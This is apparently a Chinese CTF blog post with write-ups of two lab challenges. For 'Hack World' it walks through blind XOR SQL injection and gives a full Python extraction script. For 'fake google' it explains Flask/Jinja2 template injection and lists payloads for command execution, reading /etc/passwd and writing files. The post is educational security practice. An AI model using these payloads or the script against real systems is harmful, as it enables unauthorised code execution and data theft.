CTF打卡~Day13

发布于 2020-05-01  596 次阅读


[CISCN2019 华北赛区 Day2 Web1]Hack World

常见的几种手工注入方法都不管用,本来想写一个脚本fuzz一下的,后面发现这玩意不仅Ban了几个关键字,最主要的是ban掉了空格和/**/还有注释符号。然后观察他的回显,输入1和2的时候会显示出两句骚话,在输入其他数字的时候会返回一个false的bool。猜测他判断的逻辑可能是ret=select id from flag;if(ret) return ret; else return 0;

这边需要用到的方法是异或注入。0^(表达式) 如果表达式为真,就相当于0^1,返回一个1,反之为0。 https://www.jianshu.com/p/27df5c67157c

我们这题就可以利用这个方法,将异或判断式放入id,如果为真,就会现实id为1的内容,反之就是显示查询错误。具体的实现是1^(ascii(substr((select(flag)from(flag)),{0},1))>{1})

{0}是第几位字符,{1}就是逐一判断的字符Ascii码。这里需要写一个python脚本。另外,尽量使用二分搜索算法(hhh没想到之前OI学的算法这里也用得着),因为逐一搜索的时间复杂度是O(len*n),而二分法的时间复杂度只有O(len*logn)

另外还有一个位运算的小技巧(虽然这里似乎用处并不大)a>>1相当于把a的二进制位右移一位,等价于将整数a除以2.

跑的代码:

import requests
url="http://2a4afd3e-f25f-4c3b-9fe0-fd808557e956.node3.buuoj.cn/index.php"
postdata={"id":""}
result = ''
for i in range(1,100):
    l=20;r=133
    mid=(l+r)>>1
    while(l<r):  #二分法搜索
        postdata["id"]="1^(ascii(substr((select(flag)from(flag)),{0},1))>{1})".format(i,mid)
        resoponse=requests.post(url,data=postdata)
        print("\rNow testing character '%c' on %dth char of the flag"%(chr(mid),i),end='')
        if "Error" in resoponse.text:
            l = mid + 1
        else:
            r = mid
        mid = (l + r) >> 1
    if(chr(mid)==''):
        break
    print("\nFound the %dth char of the flag is %c"%(i,chr(mid)))
    result+=chr(mid)
print("\nflag:"+result)

[BJDCTF 2nd]fake google

这题是一个没有任何过滤拦截的ssti

SSTI(Server-Side Template Injetion,服务端模板注入) 主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。 ( https://xz.aliyun.com/t/3679

打开靶机里面只有一个框,输入啥下个页面就显示啥。尝试了一下{{1+1}}发现会显示2,说明可能存在SSTI(括号内会进行运算)

这个时候就可以使用py中的os模块来进行系统命令操作了。下面是flask的SSTI注入模板( https://blog.csdn.net/qq_40657585/article/details/83657220

#py3命令执行:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('命令').read()") }}{% endif %}{% endfor %}
#py3文件操作
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
#注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
#py2读文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
#py2写文件:
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("") }}

顺带,这个工具可以适应更多的一些环境: https://github.com/epinna/tplmap


等风来,不如追风去。